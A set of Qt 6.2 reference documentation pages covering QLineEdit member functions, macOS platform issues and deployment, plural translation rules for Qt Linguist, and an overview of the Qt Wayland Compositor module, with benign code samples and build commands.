 Undoes the last operation if undo is [available](qlineedit#undoAvailable-prop). Deselects any current selection, and updates the selection start to the current cursor position.

 ### 
`[virtual]` QLineEdit::~QLineEdit()

 Destroys the line edit.

 ### 
`[since 5.2]` void QLineEdit::addAction([QAction](qaction) \**action*, [QLineEdit::ActionPosition](qlineedit#ActionPosition-enum) *position*)

 Adds the *action* to the list of actions at the *position*.

 This function was introduced in Qt 5.2.

 ### 
`[since 5.2]` [QAction](qaction) \*QLineEdit::addAction(const [QIcon](qicon) &*icon*, [QLineEdit::ActionPosition](qlineedit#ActionPosition-enum) *position*)

 This is an overloaded function.

 Creates a new action with the given *icon* at the *position*.

 This function was introduced in Qt 5.2.

 ### 
void QLineEdit::backspace()

 If no text is selected, deletes the character to the left of the text cursor and moves the cursor one position to the left. If any text is selected, the cursor is moved to the beginning of the selected text and the selected text is deleted.

 **See also** [del](qlineedit#del)().

 ### 
`[override virtual protected]` void QLineEdit::changeEvent([QEvent](qevent) \**ev*)

 Reimplements: [QWidget::changeEvent](qwidget#changeEvent)(QEvent \*event).

 ### 
[QCompleter](qcompleter) \*QLineEdit::completer() const

 Returns the current [QCompleter](qcompleter) that provides completions.

 **See also** [setCompleter](qlineedit#setCompleter)().

 ### 
`[override virtual protected]` void QLineEdit::contextMenuEvent([QContextMenuEvent](qcontextmenuevent) \**event*)

 Reimplements: [QWidget::contextMenuEvent](qwidget#contextMenuEvent)(QContextMenuEvent \*event).

 Shows the standard context menu created with [createStandardContextMenu](qlineedit#createStandardContextMenu)().

 If you do not want the line edit to have a context menu, you can set its [contextMenuPolicy](qwidget#contextMenuPolicy-prop) to [Qt::NoContextMenu](qt#ContextMenuPolicy-enum). If you want to customize the context menu, reimplement this function. If you want to extend the standard context menu, reimplement this function, call [createStandardContextMenu](qlineedit#createStandardContextMenu)() and extend the menu returned.

 
```
void LineEdit::contextMenuEvent(QContextMenuEvent *event)
{
    QMenu *menu = createStandardContextMenu();
    menu->addAction(tr("My Menu Item"));
    //...
    menu->exec(event->globalPos());
    delete menu;
}
```
 The *event* parameter is used to obtain the position where the mouse cursor was when the event was generated.

 **See also** [setContextMenuPolicy](qwidget#contextMenuPolicy-prop)().

 ### 
[QMenu](qmenu) \*QLineEdit::createStandardContextMenu()

 This function creates the standard context menu which is shown when the user clicks on the line edit with the right mouse button. It is called from the default [contextMenuEvent](qlineedit#contextMenuEvent)() handler. The popup menu's ownership is transferred to the caller.

 ### 
void QLineEdit::cursorBackward(bool *mark*, int *steps* = 1)

 Moves the cursor back *steps* characters. If *mark* is true each character moved over is added to the selection; if *mark* is false the selection is cleared.

 **See also** [cursorForward](qlineedit#cursorForward)().

 ### 
void QLineEdit::cursorForward(bool *mark*, int *steps* = 1)

 Moves the cursor forward *steps* characters. If *mark* is true each character moved over is added to the selection; if *mark* is false the selection is cleared.

 **See also** [cursorBackward](qlineedit#cursorBackward)().

 ### 
int QLineEdit::cursorPositionAt(const [QPoint](qpoint) &*pos*)

 Returns the cursor position under the point *pos*.

 ### 
`[protected]` [QRect](qrect) QLineEdit::cursorRect() const

 Returns a rectangle that includes the lineedit cursor.

 ### 
void QLineEdit::cursorWordBackward(bool *mark*)

 Moves the cursor one word backward. If *mark* is true, the word is also selected.

 **See also** [cursorWordForward](qlineedit#cursorWordForward)().

 ### 
void QLineEdit::cursorWordForward(bool *mark*)

 Moves the cursor one word forward. If *mark* is true, the word is also selected.

 **See also** [cursorWordBackward](qlineedit#cursorWordBackward)().

 ### 
void QLineEdit::del()

 If no text is selected, deletes the character to the right of the text cursor. If any text is selected, the cursor is moved to the beginning of the selected text and the selected text is deleted.

 **See also** [backspace](qlineedit#backspace)().

 ### 
void QLineEdit::deselect()

 Deselects any selected text.

 **See also** [setSelection](qlineedit#setSelection)() and [selectAll](qlineedit#selectAll)().

 ### 
`[override virtual protected]` void QLineEdit::dragEnterEvent([QDragEnterEvent](qdragenterevent) \**e*)

 Reimplements: [QWidget::dragEnterEvent](qwidget#dragEnterEvent)(QDragEnterEvent \*event).

 ### 
`[override virtual protected]` void QLineEdit::dragLeaveEvent([QDragLeaveEvent](qdragleaveevent) \**e*)

 Reimplements: [QWidget::dragLeaveEvent](qwidget#dragLeaveEvent)(QDragLeaveEvent \*event).

 ### 
`[override virtual protected]` void QLineEdit::dragMoveEvent([QDragMoveEvent](qdragmoveevent) \**e*)

 Reimplements: [QWidget::dragMoveEvent](qwidget#dragMoveEvent)(QDragMoveEvent \*event).

 ### 
`[override virtual protected]` void QLineEdit::dropEvent([QDropEvent](qdropevent) \**e*)

 Reimplements: [QWidget::dropEvent](qwidget#dropEvent)(QDropEvent \*event).

 ### 
void QLineEdit::end(bool *mark*)

 Moves the text cursor to the end of the line unless it is already there. If *mark* is true, text is selected towards the last position; otherwise, any selected text is unselected if the cursor is moved.

 **See also** [home](qlineedit#home)().

 ### 
`[override virtual]` bool QLineEdit::event([QEvent](qevent) \**e*)

 Reimplements: [QWidget::event](qwidget#event)(QEvent \*event).

 ### 
`[override virtual protected]` void QLineEdit::focusInEvent([QFocusEvent](qfocusevent) \**e*)

 Reimplements: [QWidget::focusInEvent](qwidget#focusInEvent)(QFocusEvent \*event).

 ### 
`[override virtual protected]` void QLineEdit::focusOutEvent([QFocusEvent](qfocusevent) \**e*)

 Reimplements: [QWidget::focusOutEvent](qwidget#focusOutEvent)(QFocusEvent \*event).

 ### 
void QLineEdit::home(bool *mark*)

 Moves the text cursor to the beginning of the line unless it is already there. If *mark* is true, text is selected towards the first position; otherwise, any selected text is unselected if the cursor is moved.

 **See also** [end](qlineedit#end)().

 ### 
`[virtual protected]` void QLineEdit::initStyleOption([QStyleOptionFrame](qstyleoptionframe) \**option*) const

 Initialize *option* with the values from this [QLineEdit](qlineedit). This method is useful for subclasses when they need a [QStyleOptionFrame](qstyleoptionframe), but don't want to fill in all the information themselves.

 **See also** [QStyleOption::initFrom](qstyleoption#initFrom)().

 ### 
`[override virtual protected]` void QLineEdit::inputMethodEvent([QInputMethodEvent](qinputmethodevent) \**e*)

 Reimplements: [QWidget::inputMethodEvent](qwidget#inputMethodEvent)(QInputMethodEvent \*event).

 ### 
`[override virtual]` [QVariant](qvariant) QLineEdit::inputMethodQuery([Qt::InputMethodQuery](qt#InputMethodQuery-enum) *property*) const

 Reimplements: [QWidget::inputMethodQuery(Qt::InputMethodQuery query) const](qwidget#inputMethodQuery).

 ### 
void QLineEdit::insert(const [QString](qstring) &*newText*)

 Deletes any selected text, inserts *newText*, and validates the result. If it is valid, it sets it as the new contents of the line edit.

 **See also** [setText](qlineedit#text-prop)() and [clear](qlineedit#clear)().

 ### 
`[override virtual protected]` void QLineEdit::keyPressEvent([QKeyEvent](qkeyevent) \**event*)

 Reimplements: [QWidget::keyPressEvent](qwidget#keyPressEvent)(QKeyEvent \*event).

 Converts the given key press *event* into a line edit action.

 If Return or Enter is pressed and the current text is valid (or can be [made valid](qvalidator#fixup) by the validator), the signal [returnPressed](qlineedit#returnPressed)() is emitted.

 The default key bindings are listed in the class's detailed description.

 ### 
`[override virtual protected]` void QLineEdit::keyReleaseEvent([QKeyEvent](qkeyevent) \*)

 Reimplements: [QWidget::keyReleaseEvent](qwidget#keyReleaseEvent)(QKeyEvent \*event).

 ### 
`[override virtual]` [QSize](qsize) QLineEdit::minimumSizeHint() const

 Reimplements an access function for property: [QWidget::minimumSizeHint](qwidget#minimumSizeHint-prop).

 Returns a minimum size for the line edit.

 The width returned is usually enough for at least one character.

 ### 
`[override virtual protected]` void QLineEdit::mouseDoubleClickEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QWidget::mouseDoubleClickEvent](qwidget#mouseDoubleClickEvent)(QMouseEvent \*event).

 ### 
`[override virtual protected]` void QLineEdit::mouseMoveEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QWidget::mouseMoveEvent](qwidget#mouseMoveEvent)(QMouseEvent \*event).

 ### 
`[override virtual protected]` void QLineEdit::mousePressEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QWidget::mousePressEvent](qwidget#mousePressEvent)(QMouseEvent \*event).

 ### 
`[override virtual protected]` void QLineEdit::mouseReleaseEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QWidget::mouseReleaseEvent](qwidget#mouseReleaseEvent)(QMouseEvent \*event).

 ### 
`[override virtual protected]` void QLineEdit::paintEvent([QPaintEvent](qpaintevent) \*)

 Reimplements: [QWidget::paintEvent](qwidget#paintEvent)(QPaintEvent \*event).

 ### 
`[since 5.10]` int QLineEdit::selectionEnd() const

 Returns the index of the character directly after the selection in the line edit or -1 if no text is selected.

 This function was introduced in Qt 5.10.

 **See also** [selectedText](qlineedit#selectedText-prop)(), [selectionStart](qlineedit#selectionStart)(), and [selectionLength](qlineedit#selectionLength)().

 ### 
`[since 5.10]` int QLineEdit::selectionLength() const

 Returns the length of the selection.

 This function was introduced in Qt 5.10.

 **See also** [selectedText](qlineedit#selectedText-prop)(), [selectionStart](qlineedit#selectionStart)(), and [selectionEnd](qlineedit#selectionEnd)().

 ### 
int QLineEdit::selectionStart() const

 Returns the index of the first selected character in the line edit or -1 if no text is selected.

 **See also** [selectedText](qlineedit#selectedText-prop)(), [selectionEnd](qlineedit#selectionEnd)(), and [selectionLength](qlineedit#selectionLength)().

 ### 
void QLineEdit::setCompleter([QCompleter](qcompleter) \**c*)

 Sets this line edit to provide auto completions from the completer, *c*. The completion mode is set using [QCompleter::setCompletionMode](qcompleter#completionMode-prop)().

 To use a [QCompleter](qcompleter) with a [QValidator](qvalidator) or [QLineEdit::inputMask](qlineedit#inputMask-prop), you need to ensure that the model provided to [QCompleter](qcompleter) contains valid entries. You can use the [QSortFilterProxyModel](qsortfilterproxymodel) to ensure that the [QCompleter](qcompleter)'s model contains only valid entries.

 If *c* == 0, setCompleter() removes the current completer, effectively disabling auto completion.

 **See also** [completer](qlineedit#completer)() and [QCompleter](qcompleter).

 ### 
void QLineEdit::setSelection(int *start*, int *length*)

 Selects text from position *start* and for *length* characters. Negative lengths are allowed.

 **See also** [deselect](qlineedit#deselect)(), [selectAll](qlineedit#selectAll)(), and [selectedText](qlineedit#selectedText-prop)().

 ### 
void QLineEdit::setTextMargins(int *left*, int *top*, int *right*, int *bottom*)

 Sets the margins around the text inside the frame to have the sizes *left*, *top*, *right*, and *bottom*.

 See also [textMargins](qlineedit#textMargins)().

 **See also** [textMargins](qlineedit#textMargins)().

 ### 
void QLineEdit::setTextMargins(const [QMargins](qmargins) &*margins*)

 Sets the *margins* around the text inside the frame.

 See also [textMargins](qlineedit#textMargins)().

 ### 
void QLineEdit::setValidator(const [QValidator](qvalidator) \**v*)

 Sets the validator for values of line edit to *v*.

 The line edit's [returnPressed](qlineedit#returnPressed)() and [editingFinished](qlineedit#editingFinished)() signals will only be emitted if *v* validates the line edit's content as [Acceptable](qvalidator#State-enum). The user may change the content to any [Intermediate](qvalidator#State-enum) value during editing, but will be prevented from editing the text to a value that *v* validates as [Invalid](qvalidator#State-enum).

 This allows you to constrain the text that shall finally be entered when editing is done, while leaving users with enough freedom to edit the text from one valid state to another.

 If *v* == 0, setValidator() removes the current input validator. The initial setting is to have no input validator (i.e. any input is accepted up to [maxLength](qlineedit#maxLength-prop)()).

 **See also** [validator](qlineedit#validator)(), [hasAcceptableInput](qlineedit#acceptableInput-prop)(), [QIntValidator](qintvalidator), [QDoubleValidator](qdoublevalidator), and [QRegularExpressionValidator](qregularexpressionvalidator).

 ### 
`[override virtual]` [QSize](qsize) QLineEdit::sizeHint() const

 Reimplements an access function for property: [QWidget::sizeHint](qwidget#sizeHint-prop).

 Returns a recommended size for the widget.

 The width returned, in pixels, is usually enough for about 15 to 20 characters.

 ### 
[QMargins](qmargins) QLineEdit::textMargins() const

 Returns the widget's text margins.

 **See also** [setTextMargins](qlineedit#setTextMargins)().

 ### 
`[override virtual]` void QLineEdit::timerEvent([QTimerEvent](qtimerevent) \**e*)

 Reimplements: [QObject::timerEvent](qobject#timerEvent)(QTimerEvent \*event).

 ### const [QValidator](qvalidator) \*QLineEdit::validator() const

 Returns a pointer to the current input validator, or `nullptr` if no validator has been set.

 **See also** [setValidator](qlineedit#setValidator)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qlineedit.html>

Qt for macOS - Specific Issues
==============================

 This page outlines the main issues regarding macOS support in Qt. macOS terminologies and specific processes are found at <https://developer.apple.com/>.

 Aqua
----

 The Aqua style is an essential part of the macOS platform. As with Cocoa, Qt provides widgets that look like those described in the [macOS Human Interface Guidelines](https://developer.apple.com/design/human-interface-guidelines/macos/overview/themes/). Note that although Qt's widgets use AppKit under the hood for look and feel, it does not represent each individual Qt Widget as a wrapped native control.

 The [Qt Widget Gallery](gallery) page contains sample images of applications using the macOS platform theme.

 ### Qt Attributes for macOS

 The following lists a set of useful attributes that can be used to tweak applications on macOS:

 * [Qt::AA\_PluginApplication](qt#ApplicationAttribute-enum)
* [Qt::AA\_DontUseNativeMenuBar](qt#ApplicationAttribute-enum)
* [Qt::AA\_MacDontSwapCtrlAndMeta](qt#ApplicationAttribute-enum)
* [Qt::WA\_MacOpaqueSizeGrip](qt#WidgetAttribute-enum)
* [Qt::WA\_MacShowFocusRect](qt#WidgetAttribute-enum)
* [Qt::WA\_MacNormalSize](qt#WidgetAttribute-enum)
* [Qt::WA\_MacSmallSize](qt#WidgetAttribute-enum)
* [Qt::WA\_MacMiniSize](qt#WidgetAttribute-enum)
* Qt::WA\_MacVariableSize
* [Qt::WA\_MacAlwaysShowToolWindow](qt#WidgetAttribute-enum)
* [Qt::Sheet](qt#WindowType-enum)
* [Qt::Drawer](qt#WindowType-enum)
* [Qt::MacWindowToolBarButtonHint](qt#WindowType-enum),
* [QMainWindow::unifiedTitleAndToolBarOnMac](qmainwindow#unifiedTitleAndToolBarOnMac-prop)

 macOS always double buffers the screen, therefore, the [Qt::WA\_PaintOnScreen](qt#WidgetAttribute-enum) attribute has no effect. Also it is impossible to paint outside of a paint event so Qt::WA\_PaintOutsidePaintEvent has no effect either.

 ### Right Mouse Clicks

 The [QContextMenuEvent](qcontextmenuevent) class provides right mouse click support for macOS applications. This will map to a context menu event, for example, a menu that will display a pop-up selection. This is the most common use of right mouse clicks, and maps to a control-click with the macOS one-button mouse support.

 ### Menu Bar

 Qt detects menu bars and turns them into Mac native menu bars. Fitting this into existing Qt applications is normally automatic. However, if you have special needs, the Qt implementation currently selects a menu bar by starting at the active window (for example, [QGuiApplication::focusWindow](qguiapplication#focusWindow)()) and applying the following tests:

 1. If the window has a [QMenuBar](qmenubar), then it is used.
2. If the window is modal, then its menu bar is used. If no menu bar is specified, then a default menu bar is used (as documented below).
3. If the window has no parent, then the default menu bar is used (as documented below).

 These tests are followed all the way up the parent window chain until one of the above rules is satisfied. If all else fails, a default menu bar will be created. The default menu bar on Qt is an empty menu bar. However, you can create a different default menu bar by creating a parentless [QMenuBar](qmenubar). The first one created will be designated the default menu bar and will be used whenever a default menu bar is needed.

 Using native menu bars introduces certain limitations on Qt classes. The section with the [list of limitations](macos-issues#limitations) below has more information.

 Qt provides support for the Global Menu Bar with [QMenuBar](qmenubar). macOS users expect to have a menu bar at the top of the screen and Qt honors this.

 Additionally, users expect certain conventions to be respected, for example the application menu should contain **About**, **Preferences**, **Quit**, and so on. Qt handles these conventions, although it does not provide a means of interacting directly with the application menu.

 Each [QAction](qaction) has a [menuRole](qaction#menuRole-prop) property which controls the special placement of application menu items; however by default the `menuRole` is [TextHeuristicRole](qaction#MenuRole-enum) which mean the menu items will be auto-detected by their [text](qaction#text-prop).

 Other standard menu items such as **Cut**, **Copy**, **Paste** and **Select All** are applicable both in your application and in some native dialogs such as [QFileDialog](qfiledialog). It's important that you create these menu items with the standard shortcuts so that the corresponding editing features will be enabled in the dialogs. At this time there are no `MenuRole` identifiers for them, but they will be auto-detected just like the application menu items when the `QAction` has the default [TextHeuristicRole](qaction#MenuRole-enum).

 ### Special Keys

 To provide the expected behavior for Qt applications on macOS, the [Qt::Key\_Meta](qt#Key-enum), [Qt::MetaModifier](qt#KeyboardModifier-enum), and [Qt::META](qt#Modifier-enum) enum values correspond to the Control keys on the standard Apple keyboard, and the [Qt::Key\_Control](qt#Key-enum), [Qt::ControlModifier](qt#KeyboardModifier-enum), and [Qt::CTRL](qt#Modifier-enum) enum values correspond to the Command keys.

 ### Dock

 Interaction with the dock is possible. The icon can be set by calling QWindow::setWindowIcon() from the main window in your application. The setWindowIcon() call can be made as often as necessary, providing an icon that can be easily updated.

 ### Accessiblity

 Many users interact with macOS with assistive devices. With Qt the aim is to make this automatic in your application so that it conforms to accepted practice on its platform. Qt uses Apple's accessibility framework to provide access to users with disabilities.

 Library and Deployment Support
------------------------------

 Qt provides support for macOS structures such as Frameworks and bundles. It is important to be aware of these structure as they directly affect the deployment of applications.

 Qt provides a deploy tool, [macdeployqt](https://doc.qt.io/qt-6.2/macos-deployment.html#the-mac-deployment-tool), to simplify the deployment process. The [Qt for macOS - Deployment](https://doc.qt.io/qt-6.2/macos-deployment.html) article covers the deployment process in more detail.

 ### Qt Libraries as Frameworks

 By default, Qt is built as a set of frameworks. Frameworks are the macOS preferred way of distributing libraries. The [Apple's Framework Programming Guide](http://developer.apple.com/documentation/MacOSX/Conceptual/BPFrameworks/index.html) site has far more information about Frameworks.

 It is important to remember that Frameworks always link with *release* versions of libraries. If the *debug* version of a Qt framework is desired, use the `DYLD_IMAGE_SUFFIX` environment variables to ensure that the debug version is loaded:

 
```
export DYLD_IMAGE_SUFFIX=_debug
```
 Alternatively, you can temporarily swap your debug and release versions, which is documented in [Apple's "Debugging Magic" technical note](http://developer.apple.com/technotes/tn2004/tn2124.html#SECJUSTONELIB).

 If you don't want to use frameworks, simply configure Qt with `-no-framework`.

 
```
./configure -no-framework
```
 ### Bundle-Based Libraries

 If you want to use some dynamic libraries in the macOS application bundle (the application directory), create a subdirectory named *Frameworks* in the application bundle directory and place your dynamic libraries there. The application will find a dynamic library if it has the install name *@executable\_path/../Frameworks/libname.dylib*.

 If you use `qmake` and Makefiles, use the `QMAKE_LFLAGS_SONAME` setting:

 
```
QMAKE_LFLAGS_SONAME  = -Wl,-install_name,@executable_path/../Frameworks/
```
 Alternatively, you can modify the install name using the `install_name_tool(1)` on the command line.

 The `DYLD_LIBRARY_PATH` environment variable will override these settings, and any other default paths, such as a lookup of dynamic libraries inside */usr/lib* and similar default locations.

 ### Combining Libraries

 If you want to build a new dynamic library combining the Qt dynamic libraries, you need to introduce the `ld -r` flag. Then relocation information is stored in the output file, so that this file could be the subject of another `ld` run. This is done by setting the `-r` flag in the `.pro` file, and the `LFLAGS` settings.

 ### Initialization Order

 `dyld(1)` calls global static initializers in the order they are linked into the application. If a library links against Qt and references the globals in Qt (from global initializers in your own library), link the application against Qt before linking it against the library. Otherwise the result will be undefined because Qt's global initializers have not been called yet.

 Compile-Time Flags
------------------

 The following flags are helpful when you want to define macOS specific code:

 * `Q_OS_DARWIN` is defined when Qt detects you are on a Darwin-based system such as macOS or iOS.
* `Q_OS_MACOS` is defined when you are on an macOS system.

  **Note:** `Q_WS_MAC` is no longer defined in Qt 5 and later.

  If you want to define code for specific versions of macOS, use the availability macros defined in */usr/include/AvailabilityMacros.h*.

 The [QSysInfo](qsysinfo) and QOperatingSystemVerison documentation has information about runtime version checking.

 macOS Native API Access
-----------------------

 ### Accessing the Bundle Path

 macOS applications are structured as a directory (ending with *.app*). This directory contains sub-directories and files. It may be useful to place items, such as plugins and online documentation, inside this bundle. The following code returns the path of the application bundle:

 
```
#ifdef Q_OS_MAC
    CFURLRef appUrlRef = CFBundleCopyBundleURL(CFBundleGetMainBundle());
    CFStringRef macPath = CFURLCopyFileSystemPath(appUrlRef,
                                           kCFURLPOSIXPathStyle);
    const char *pathPtr = CFStringGetCStringPtr(macPath,
                                           CFStringGetSystemEncoding());
    qDebug("Path = %s", pathPtr);
    CFRelease(appUrlRef);
    CFRelease(macPath);
#endif
```
  **Note:** When macOS is set to use Japanese, a bug causes this sequence to fail and return an empty string. Therefore, always test the returned string.

  For more information about using the CFBundle API, visit [Apple's Developer Website](http://developer.apple.com/documentation/CoreFoundation/Reference/CFBundleRef/index.html).

 [QCoreApplication::applicationDirPath](qcoreapplication#applicationDirPath)() can be used to determine the path of the binary within the bundle.

 ### Translating the Application Menu and Native Dialogs

 The items in the Application Menu will be merged correctly for localized applications, but they will not show up translated until the application bundle contains a localized resource folder. to the application bundle.

 Essentially, there needs to be a file called *locversion.plist*. Here is an example of an application with Norwegian localization:

 
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>LprojCompatibleVersion</key>
    <string>123</string>
    <key>LprojLocale</key>
    <string>no</string>
    <key>LprojRevisionLevel</key>
    <string>1</string>
    <key>LprojVersion</key>
    <string>123</string>
</dict>
</plist>
```
 Afterwards, when the application is run with the preferred language set to Norwegian, the menu items should display **Avslutt** instead of **Quit**.

 The [Bundle Programming Guide](#) contains information about bundles and the localized resource folder.

 ### Using Native Cocoa Panels

 Qt's event dispatcher is more flexible than what Cocoa offers, and lets the user spin the event dispatcher (and running [QEventLoop::exec](qeventloop#exec)) without having to think about whether or not modal dialogs are showing on screen (which is a difference compared to Cocoa). Therefore, we need to do extra management in Qt to handle this correctly, which unfortunately makes mixing native panels hard. The best way at the moment to do this, is to follow the pattern below, where we post the call to the function with native code rather than calling it directly. Then we know that Qt has cleanly updated any pending event loop recursions before the native panel is shown:

 
```
#include <QtGui>

class NativeProxyObject : public QObject
{
    Q_OBJECT
public slots:
    void execNativeDialogLater()
    {
        QMetaObject::invokeMethod(this, "execNativeDialogNow", Qt::QueuedConnection);
    }

    void execNativeDialogNow()
    {
        NSRunAlertPanel(@"A Native dialog", @"", @"OK", @"", @"");
    }

};

#include "main.moc"

int main(int argc, char **argv){
    QApplication app(argc, argv);
    NativeProxyObject proxy;
    QPushButton button("Show native dialog");
    QObject::connect(&button, SIGNAL(clicked()), &proxy, SLOT(execNativeDialogLater()));
    button.show();
    return app.exec();
}
```
 Limitations
-----------

 ### MySQL and macOS

 There seems to be a issue when both `-prebind` and `-multi_module` are defined when linking static C libraries into dynamic libraries. If you get the following error message when linking Qt:

 
```
ld: common symbols not allowed with MH_DYLIB output format with the -multi_module option
/usr/local/mysql/lib/libmysqlclient.a(my_error.o) definition of common _errbuff (size 512)
/usr/bin/libtool: internal link edit command failed
```
 re-link Qt using -single\_module. This is only a problem when building the MySQL driver into Qt. It does not affect plugins or static builds.

 ### D-Bus and macOS

 The [QtDBus](https://doc.qt.io/qt-6.2/qtdbus-module.html) module defaults to dynamically loading the libdbus-1 library on macOS. That means applications linking against the [QtDBus](https://doc.qt.io/qt-6.2/qtdbus-module.html) module will load even on macOS systems that do not have the libraries, but they will fail to connect to any D-Bus server and they will fail to open a server using [QDBusServer](qdbusserver).

 To use D-Bus functionality, you need to install the libdbus-1 library, for example through Homebrew, Fink or MacPorts. You may want to include those libraries in your application's bundle if you're deploying to other systems. Additionally, note that there is no system bus on macOS and that the session bus will only be started after launchd is configured to manage it.

 ### Menu Actions

 * Actions in a [QMenu](qmenu) with accelerators that have more than one keystroke ([QKeySequence](qkeysequence)) will not display correctly, when the [QMenu](qmenu) is translated into a Mac native menu bar. The first key will be displayed. However, the shortcut will still be activated as on all other platforms.
* [QMenu](qmenu) objects used in the native menu bar are not able to handle Qt events via the normal event handlers. Install a delegate on the menu itself to be notified of these changes. Alternatively, consider using the [QMenu::aboutToShow](qmenu#aboutToShow)() and [QMenu::aboutToHide](qmenu#aboutToHide)() signals to keep track of menu visibility; these provide a solution that should work on all platforms supported by Qt.
* By default, Qt creates a native **Quit** menu item that will react to the `CMD+Q` shortcut. Creating a [QAction](qaction) for the [QAction::QuitRole](qaction#MenuRole-enum) role will replace that menu item. Therefore, the replacement action should be connected to either the [QCoreApplication::quit](qcoreapplication#quit) slot, or a custom slot that stops the application.

 ### Native Widgets

 Qt has support for sheets, represented by the window flag, [Qt::Sheet](qt#WindowType-enum).

 Usually, when referring to a native macOS application, *native* means an application that interfaces directly to the underlying window system, rather than one that uses some intermediary layer. Qt applications run as first class citizens, just like Cocoa applications. We use Cocoa internally to communicate with the operating system.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/macos-issues.html>

Translation Rules for Plurals
=============================

 The table below shows the specific rules that are produced by Qt Linguist and `lrelease` for a selection of languages. Cells marked *otherwise* indicate the form used when none of the other rules are appropriate for a specific language.

 

| Language | Rule 1 | Rule 2 | Rule 3 |
| --- | --- | --- | --- |
| English | `n == 1` | *otherwise* | N/A |
| French | `n < 2` | *otherwise* | N/A |
| Czech | `n % 100 == 1` | `n % 100 >= 2 && n % 100 <= 4` | *otherwise* |
| Irish | `n == 1` | `n == 2` | *otherwise* |
| Latvian | `n % 10 == 1&& n % 100 != 11` | `n != 0` | *otherwise* |
| Lithuanian | `n % 10 == 1&& n % 100 != 11` | `n % 100 != 12 && n % 10 == 2` | *otherwise* |
| Macedonian | `n % 10 == 1` | `n % 10 == 2` | *otherwise* |
| Polish | `n == 1` | `n % 10 >= 2 && n % 10 <= 4 && (n % 100 < 10 || n % 100 > 20)` | *otherwise* |
| Romanian | `n == 1` | `n == 0|| (n % 100 >= 1 && n % 100 <= 20)` | *otherwise* |
| Russian | `n % 10 == 1&& n % 100 != 11` | `n % 10 >= 2 && n % 10 <= 4 && (n % 100 < 10 || n % 100 > 20)` | *otherwise* |
| Slovak | `n == 1` | `n >= 2 && n <= 4` | *otherwise* |
| Japanese | *otherwise* | N/A | N/A |

 The rules themselves are not documented and are internal to Qt Linguist and `lrelease`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/i18n-plural-rules.html>

Qt Wayland Compositor
=====================

 The Qt Wayland Compositor is a module that provides convenient and powerful QML and C++ APIs for developing custom display servers based on the [Wayland](https://wayland.freedesktop.org/) protocol. The display server, often called a compositor, displays content from client applications that support the Wayland protocol.

 Wayland's design philosophy is to keep the core protocol simple and minimal. Developers can then expand on this core protocol with use-case-specific extensions. Qt Wayland Compositor supports many common extensions by default, and also has APIs to enable the creation of new, custom extensions.

 Typically, a compositor written with Qt Wayland Compositor becomes a subsystem inside a larger application manager process. Qt Wayland Compositor provides the APIs to communicate with clients and display their content on the screen. The QML APIs contain high-level APIs that easily integrate with the rest of Qt, enabling convenient animations, effects, and UI through Qt Quick. There are also C++ APIs available - if you need more low-level access.

 An application manager would typically implement additional features such as application life cycle, virtual keyboard input, security, and Inter-Process Communication (IPC). Qt provides the APIs that can be used to develop the remaining parts of an application manager in other modules. The [Qt Automotive Suite](https://www.qt.io/qt-automotive-suite/) provides [Qt Application Manager](https://doc.qt.io/QtApplicationManager), which is a complete application manager that includes a compositor developed using Qt Wayland Compositor.

 For more information on Wayland, see [Wayland and Qt](wayland-and-qt).

 Features of Qt Wayland Compositor
---------------------------------

 The Qt Wayland Compositor includes features necessary to create a compositor:

 * A QML API to display and manipulate client content, fully integrated with all the features in Qt Quick.
* A C++ API for low-level access and control.
* Support for common extensions, including XDG Shell and IVI Application.
* APIs to easily expand the support for custom extensions.

 Environment Variables and Command-line Arguments
------------------------------------------------

 The Qt Wayland Compositor recognizes the following environment variables and command-line arguments:

 * Environment variables:
	+ **QT\_WAYLAND\_HARDWARE\_INTEGRATION** Selects the hardware integration plugin to use.
	+ **QT\_WAYLAND\_CLIENT\_BUFFER\_INTEGRATION** Selects the client buffer integration plugin to use.
	+ **QT\_WAYLAND\_SERVER\_BUFFER\_INTEGRATION** Selects the server integration plugin to use.
* Command-line arguments:
	+ `--wayland-socket-name` Overrides the default socket name used for communicating with clients.

 Running the Wayland compositor
------------------------------

 As long as it does not depend on any unavailable platform-specific features, the compositor can easily be tested on an X11-based desktop system. This can be useful during development, both for simplified debugging and efficient turn-around on trying out new features.

 Qt Wayland supports several backends for sharing graphics buffers between clients and the server. The main one is:

 * `wayland-egl`: This is the default backend and should be preferred whenever possible. It requires support in the OpenGL driver on the system for this to work.

 Other backends may be selected by setting the `QT_WAYLAND_CLIENT_BUFFER_INTEGRATION` environment variable.

  **Note:** If Qt Wayland Compositor is unable to initialize the client buffer backend, then it will fall back to using the "shared memory" backend (based on `wl_shm`) as a fail-safe. This backend will use CPU memory for sharing the graphics buffers and copy the data back and forth as needed. This has performance implications, especially on high density screens and limited graphics hardware. When investigating performance issues with Qt Wayland Compositor, start by checking that the correct client buffer integration is used.

  Also bear in mind that if your system is already running a Wayland compositor, you may have to set `XDG_RUNTIME_DIR` to point to a different location. If this is the case, you will see warnings when starting the compositor. The `XDG_RUNTIME_DIR` can point to any accessible location which is not already in use.

 For instance, if you want to run the [pure-qml](https://doc.qt.io/qt-6.2/qtwaylandcompositor-pure-qml-example.html) example with the `wayland-egl` backend, you could use the following command line:

 
```
% XDG_RUNTIME_DIR=~/my_temporary_runtime QT_XCB_GL_INTEGRATION=xcb_egl QT_WAYLAND_CLIENT_BUFFER_INTEGRATION=wayland-egl ./pure-qml
```
 The client can subsequently be run on the compositor by setting the same `XDG_RUNTIME_DIR` and by passing "-platform wayland" as a command line argument. The `QT_QPA_PLATFORM` environment variable can also be used to select the Wayland QPA plugin on the client side.

  **Note:** In most cases, the client will adapt to the same OpenGL as the server when it connects. However, when running with the EGL backend on some specific drivers, it is required that the initialization happens earlier. If you encounter this problem, you may pass "-platform wayland-egl" instead to pre-initialize the client to EGL.

  Troubleshooting
---------------

